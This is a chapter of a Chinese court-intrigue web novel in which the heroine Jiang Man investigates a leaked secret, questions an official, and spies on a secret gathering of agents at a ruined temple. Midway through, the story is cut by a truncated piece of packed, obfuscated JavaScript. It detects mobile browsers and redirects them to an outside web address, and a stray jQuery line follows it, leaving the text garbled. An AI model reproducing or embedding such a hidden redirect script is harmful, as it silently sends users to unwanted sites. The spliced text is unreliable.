姜满没有多做停留,甚至都没来得及给薄屹寒打招呼,骑马回了临江街。
兰灈在青一阁住了一阵子,但是总归不能一直住,姜满就在青一阁最近的客栈给她包了一间房,从议和后她一直住在这里。
姜满到的时候,兰灈刚从外头回来,一见她兰灈也一脸惊慌,“什么情况?昨天还一起吃奶酥,今天就跑过去敲登闻鼓?”
“所以这件事,是昨天我们三人分开后传出去的。只是现在还不清楚是冲着谁来的。”
“昨天我们分开的时候,她说要套了马车去南楼接顾大人,难道是昨天和他们一起给谢安办践行宴的那些人?”
姜满抿着唇,青墨色的眸子罕见的冰冷,她走到窗前,道:“薄延杀陆语宁那天,人太多了,这个知情人早不说晚不说,偏偏等到议和后,三皇子显山露水之后再告知顾原,那就是捏准了此人的脾性必然不可能闷声了事。”
她闭着眼睛,想了想,吐出一口浊气来,忽然想起了个人。
“龚今良当时也在。”
——
姜满在六部门口守了三天,才蹲到落单的龚今良。
一见她,龚今良就能猜出来这姑娘找自己是为了何事,虽然他实在是不想掺和到这事情里头,毕竟事关皇子,但想着那天姜满曾救过自己,他想了想还是遣了小厮,上了姜满的马车。
“龚大人,实在唐突,事出紧急,万不得已才这样找上您。”
龚今良摆摆手,摘下官帽,轻叹了口气,“令栀姑娘是为了皇子妃的事情来的。本官就一句话,这事情不是本官传出去的,其他的本官一概不知。”
姜满安抚的笑了笑,给龚今良斟了一杯茶,“大人谨言慎行,这令栀自然是知晓,只是现在顾大人和陆姑娘还在刑部,生死未卜,圣上又怒气未消,我也是没有办法,大人在六部人脉甚广,不知能否探查一二,看看这事情究竟是从哪里传出去的?”
“令栀姑娘,当日在场所有的官员,现下都被逸王殿下的人抓过去审过一番,连本官也不例外,连逸王殿下都审不出来,你又何必这样问本官?我确实什么都不知道。”
“龚大人,”姜满唇角带着似有若无的笑意,抬眸看着龚今良,“从前你我都是二皇子的人,只可惜陆家倒了,二殿下不复从前,想必龚大人也曾向太子殿下投名,可一直到现在,龚大人身为户部尚书,一直未曾在人前表现自己倾向于哪一方,龚大人观望了这么久,若今日圣上真的因为顾少卿之事迁怒了三殿下,那太子殿下能接纳龚大人您这位贤才吗?”
龚今良手指轻捻,抬手摸了摸茶杯,复又收回,“是镇国公让姑娘当说客的?”
姜满摇了摇头,目光平静却锐利,轻声道:“国公爷劝过您,他这个人既然开了一次口,就不会再劝第二次。今日我来,只是为了顾少卿与陆姑娘,也可以说是为了我自己,当日除了各位大人,就我一人身份卑微,逸王殿下少不了要将我审问一番,我一个姑娘家,真从刑部大牢里走一遭,日后还怎么在长安城立足?”
“你说的也不错,”龚今良深吸口气,靠着马车车厢,看不出任何情绪,“令栀姑娘,你能帮我做什么?”
姜满挑了挑眉,目光审视着龚今良,“从前因为湖州的事,国公爷没少怀疑您,所以您不敢轻易应下国公爷的拉拢。令栀不才,可以让国公爷打消对您的疑虑,枕边风嘛,最好用了。”
龚今良拿起茶杯,手指点着杯身,似在思索犹豫。
他如今处境实在是不好,二皇子肯定是靠不住,太子又不接纳他,如今内阁都开始站队,六部里头不少人也暗地规划,毕竟陛下年纪大了,早做打算总是没错。
龚今良深知,太子的人盯着自己的位置不是一天两天了,也就是他在六部中人脉广泛,那些人还不至于明晃晃的给他使绊子,但若太子登基,第一个除掉的就是他,让他给那些世家子弟腾地方。
思考良久,杯中温茶变凉,龚今良才缓缓道:“想要查清楚流言源头,根本就不可能,那天在场的人多了,保不齐喝多了说出去被有心人记住,可是这事情即便是传,也不可能传的那么详细,传的时机这么恰到好处,所以告知顾少卿和陆姑娘的,一定是他们身边的人。今年开春,为民生难题,顾少卿举荐了大理寺的一位大人前去管理农耕一事,此人应该是昨晚出的长安城,今早便流言四起,这里头谁获利最多。”
大理寺想顶替少卿这个位置的人太多了,可与顾原熟络的,只有同一时期科考的谢安和周回。
谢安走了,顾原又因此身陷刑部。
姜满明白过来龚今良的意思,便道谢离开了。
——
姜满已经许久未穿姜国的这套夜行衣和面具,等她穿戴好,从铜镜中晃到自己,竟然有一瞬的恍惚。
姜国发展的下线,大约都是钻了北安世袭的空子,先前运恭桶的牛二,被贬到湖州的贺大元,被留在长安的齐涑。他们不是拔尖的人才,可也都有些本事在身上,只可惜朝廷不惜,世道不公,这才让姜国选中他们下手。
周回住在长安城外,也是巧了,距离姜满得知的新据点只有几里的路,她不知道自己怀疑的对不对,只能亲自验证一番。
她已经好几日睡不好觉,趴在墙头上困得连连打哈切,若不是开春夜晚还有点凉,姜满真的会就这么趴着睡着。
“吱——”
姜满瞬间清醒,看见这一方不大的小院,门被人从里面推开,周回果然穿戴整齐,从屋里走出来。
六品官员住的实在寒酸,姜满趴得小心翼翼,下来的时候生怕把墙头的土扒下来留下痕迹。
周回去的方向和姜满心中一致,她不远不近的跟着,想必对方一介文臣,也察觉不出来自己。
就这么走了半个时辰,周回走进了那间残破的庙宇。
姜满自从知道新据点后,通传命令一直是由陇佑来的,这是她第一次过来,为了保险起见,她找了棵距离远些的树爬了上去,远远蹲着看。
这一看,姜满的心突然狂跳。
因为那所庙宇里,站着数不清的人。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015338|188520||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>他们穿的衣服各有不同,能明显看出来这些人有小贩、书生、商人、农民,也有像周回一般的文官。
这么多人围聚在这里,居然能一点动静都不发出,进了院子便按着先后顺序站好,仿佛在等什么人。
姜满来到长安之前,曾经收到过一份长安潜伏的名单,上面只有寥寥几人,和上一世一样。
可眼前的情景告诉她,事情绝没有这么简单。
长安尚且如此,那北安其他地方呢。
姜满不敢再去想,凝神盯着庙内。很快从庙宇里出来一个一身黑衣,戴着青铜面具的人,看身量应该是男人,他手里捧着一本书,像是对这本书很敬畏,抬起书后,满院子的人“呼啦”跪了一地。
紧接着那男人开始念着书上的内容,离得太远,姜满完全听不见他念得什么。底下的人像是某种忠诚的信徒,虔诚且认真的听着。
姜满今天本来是想,如果发现周回有异动,是姜国在背后推波助澜,便通知陇佑,不许姜国再参与此事。
可眼前的场景告诉姜满,姜国的行动已经渗透到了长安的各行各业,而她却懵然不知,这就说明,姜国已经不信任自己了。
想到这里,姜满决定不再打草惊蛇,悄无声息的从树上下来,刚想抬脚就走,却听见远处似乎有呜咽的声音。
这声音是从庙宇南边传过来的,姜满往前探了几步,就闻到一股浓郁的血腥直冲鼻尖,惹得她几乎要呕出来。
她强忍着恶心,在黑夜里又往前走了几步,终于听见了细微的说话声。
“......国主栽培你,将任务派给你,失败了是你无能,可你们还想告密,真是活够了......”
“不......呜......”
很快,又是一股带着异样的血腥味涌了过来,姜满对这味道不算陌生,姜国处置刑犯一向是不手下留情,从前也是将人挑了手筋脚筋,割断了脖子,再把能腐蚀人肉的噬心毒倒在尸体上。
这么做的原因是因为姜国一直盛传,死人有怨气,若是尸身健全,死后很可能变成厉鬼,可一旦血肉被腐蚀,就会被封印,无法变成恶鬼索命。
姜满从小也见过他们这样处理尸体,只是没想到这帮人竟然这么大胆,长安城外也不怕味道招来人活着野兽。
她不再多做停留,转身欲走,就在此时,身后传来了一个邪魅阴冷的声音。
“站住。”
姜满身上穿的和他们一致的衣服,应该还不至于被发现什么,所以她稳了稳心神,转过了身。
“你不在庙里守护松雪先生,出来做什么?”
松雪先生!
刚才那读书的人是他!
姜满细想了一下,特意压低了嗓子,听起来像个年轻男人的声音:“小解。”
“解决完了就赶紧回去!谁准你来这里的?”
姜满向他行了个姜国暗卫向上的礼,“是。”
她背后出了一身薄汗,转身之际,只听那人再次开口。
"等等。"